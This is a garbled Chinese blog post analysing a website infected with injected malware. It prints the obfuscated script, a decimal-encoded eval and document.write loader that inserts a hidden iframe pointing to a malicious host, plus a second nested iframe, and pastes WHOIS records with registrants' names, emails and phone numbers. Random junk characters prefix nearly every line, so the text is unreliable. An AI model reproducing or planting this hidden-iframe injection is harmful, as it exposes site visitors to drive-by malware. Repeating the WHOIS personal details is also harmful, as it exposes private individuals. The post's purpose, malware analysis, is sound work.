首发在我的博客里面，
ubsSa}$q EqiFy"H http://www.areway.cn/?p=175 O-vGyNxP| sML=5=otx ,ea^,H6 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
MfF~8 sRVIH A , <script>t=’60,105,102,114,97,109,101,
->z54 T
32,115,114,99,61,104,116,116,112,58,47,47,
! hd</_# 102,114,101,101,46,117,45,117,117,117,46,99,
Th[f9H% 110,47,101,114,114,111,114,46,104,116,109,
D F]9 @ { 32,119,105,100,116,104,61,49,48,48,32,104,
E "iUq 101,105,103,104,116,61,48,62,60,47,105,102,
SEw ku } 114,97,109,101,62′;
d9*hBm t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
uf<@ruN MvLs%GE% <script>t=’60,105,102,114,97,109,101,32,115,
t9
\x%=
114,99,61,104,116,116,112,58,47,47,102,114,
Ok5<TZ6t4k 101,101,46,117,45,117,117,117,46,99,110,47,
@4d)R 101,114,114,111,114,46,104,116,109,32,119,
i!2TH~ zl 105,100,116,104,61,49,48,48,32,104,101,105,
W+wA_s2&D 103,104,116,61,48,62,60,47,105,102,114,97,
zQ?! f#f 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
ulT8lw=' document.write(t);</script>
WFR?fDtE ^VW
PdH/Fe <html xmlns=”
$w)~O<_U http://www.w3.org/1999/xhtml TlL^7f} “>
'AGto'Yy; <head>
bUV >^d <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
8*SDiZ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
_8fr6tO+ <title>首页 - 爱生活家庭网
)C(>H93 N q Hy%'R 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
{_N ,=DQ! 转换字符串后的大概内容是（谁点击后果自付）：
%V &n*3 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
T#%/s?_>. Sgim3):Z 查询玉米u-uuu.cn的详细信息：
C`=p + 2I] Domain Name: u-uuu.cn
L$'[5"ma
; ROID: 20070901s10001s64972306-cn
Tm^89I]L Domain Status: ok
y4Z &@,_{ Registrant Organization: 王雷
3uU]kD^ Registrant Name: 王雷
mC&=X 6Q] Administrative Email:
czlovexs@126.com e+ v({^k Sponsoring Registrar: 北京万网志成科技有限公司
yNW\?Z$@q Name Server:ns.yovole.com
uY_SU-v Name Server:ns1.yovole.com
3K&4i'}V Registration Date: 2007-09-01 17:54
84HUBud76Y Expiration Date: 2008-09-01 17:54
c0c|z
Ym 最后PING了一下地址 都没有什么….
^m#-9- ` ^2d!*W| 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
iUM Y!eqp <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
K/ m3 <script language=”javascript” src=”
VUTacA Y>L http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ?7:KphFX) >
hc
(e$## 这个玉米应该有可能是木马作者的：
0.$h n foafau.info的详细信息：
rWys'uc Access to INFO WHOIS information is provided to assist persons in
&uP~rEJl+ determining the contents of a domain name registration record in the
o)6p A ^+ Afilias registry database. The data in this record is provided by
U~{du;\ Afilias Limited for informational purposes only, and Afilias does not
nKR{u g>I) guarantee its accuracy. This service is intended only for query-based
?oZR.D|SZ access. You agree that you will use this data only for lawful purposes
NW~z&8L and that, under no circumstances will you use this data to: (a) allow,
c,so`I3rI enable, or otherwise support the transmission by e-mail, telephone, or
u$%t)2+$4 facsimile of mass unsolicited, commercial advertising or solicitations
~pa!w?/bQ to entities other than the data recipient’s own existing customers; or
IJTtq o (b) enable high volume, automated, electronic processes that send
kK 8itO queries or data to the systems of Registry Operator, a Registrar, or
d\e7,"L*Q Afilias except as reasonably necessary to register domain names or
A[G0 .>Wk modify existing registrations. All rights reserved. Afilias reserves
d@w~[b the right to modify these terms at any time. By submitting this query,
yJuQ8+vgR} you agree to abide by this policy.
qQ\Y/}F Domain ID:D22418703-LRMS
%6 Q4yk Domain Name:FOAFAU.INFO
3X9b2RY*L/ Created On:20-Nov-2007 16:05:42 UTC
T|&[7%F3" Last Updated On:20-Nov-2007 16:05:44 UTC
bNT9 H`P Expiration Date:20-Nov-2008 16:05:42 UTC
5tQ1 fJze Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
aKU*j9A?;Z Status:CLIENT DELETE PROHIBITED
Q
4CjA3 Status:CLIENT RENEW PROHIBITED
#T`t79*N Status:CLIENT TRANSFER PROHIBITED
8x`.26p Status:CLIENT UPDATE PROHIBITED
xI ,2LGO Status:TRANSFER PROHIBITED
Sxjub& = Registrant ID:GODA-040110615
l4T7'U>` Registrant Name:liu hong
FZreP.2)! Registrant Organization:
vVGDDDz / Registrant Street1:beijing
OY[e.N
t& Registrant Street2:
Cs2;z:O] Registrant Street3:
?!qY,9lhH Registrant City:beijing
wf, 7== Registrant State/Province:
TJE\A)|>g Registrant Postal Code:100000
(E,T#uc{ Registrant Country:CN
!+u"3;%h Registrant Phone:+86.860108888777
.4. b*5 Registrant Phone Ext.:
5cx#SD&5/ Registrant FAX:
XdH \OJ Registrant FAX Ext.:
UR:aD_h Registrant Email:bbbshiji@163.com
m*e{\)rd# Admin ID:GODA-240110615
zy* /T>{# Admin Name:liu hong
0$r^C6}f Admin Organization:
FP[!BUOf" Admin Street1:beijing
B^).BQ Admin Street2:
aq7~QX_0G Admin Street3:
"3FihE]k Admin City:beijing
`1 :{0 p2q Admin State/Province:
*<1r3! Admin Postal Code:100000
@aJ!PV'ms Admin Country:CN
EpQ8a[<-3 Admin Phone:+86.860108888777
]v+31vdf:O Admin Phone Ext.:
<dyewy*.L Admin FAX:
12Y Admin FAX Ext.:
1+?^0%AC Admin Email:bbbshiji@163.com
;Eu3[[V Billing ID:GODA-340110615
54zlnM$ Billing Name:liu hong
q7u'_ R,; Billing Organization:
-i- ? .: Billing Street1:beijing
Z{'i F Billing Street2:
@F(mi1QO Billing Street3:
X.`~>`8 Billing City:beijing
!3T&4t Billing State/Province:
x@8a'' Billing Postal Code:100000
KZ~*Nz+H2 Billing Country:CN
G
"P4- Billing Phone:+86.860108888777
f6$b
s+oP Billing Phone Ext.:
q -8t'7 Billing FAX:
&/,|+U[ Billing FAX Ext.:
\9-"M;R.d Billing Email:bbbshiji@163.com
z3?o|A }/W Tech ID:GODA-140110615
@k&qb!Qah Tech Name:liu hong
vq34/c^ Tech Organization:
=B. F;4 0 Tech Street1:beijing
j 65<8svl Tech Street2:
}@.|?2b + Tech Street3:
FLEo*9u>b Tech City:beijing
||yzt!n Tech State/Province:
~/j\Z Tech Postal Code:100000
7gRgOzWfV Tech Country:CN
`({T]@]V Tech Phone:+86.860108888777
LR" 9D Tech Phone Ext.:
YuB+k^ Tech FAX:
Ar~"R4! Tech FAX Ext.:
HaIM#R32T Tech Email:bbbshiji@163.com
L5MzLE&~ Name Server:NS27.DOMAINCONTROL.COM
sVex
(X Name Server:NS28.DOMAINCONTROL.COM
b86}% FM Name Server:
JU&+c6> Name Server:
vm>b m Name Server:
# W"=ry3{ Name Server:
?6'rBH /w Name Server:
rj!0GI Name Server:
1'? 4m0W1 Name Server:
R :B^ Name Server:
qe5fek y Name Server:
`-LGU7~+ Name Server:
(Cq n6 dWK Name Server:
Bj7gQ%>H4 irjP>3_e 接着下载每个文件里面的代码：
m# =z7.XrX 一步一步看..
dO%W+ K 
7 [0L9\xm 
s JNFFOz 
$ MC)}l 
5atYOe p 
8_N]e'WUh 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
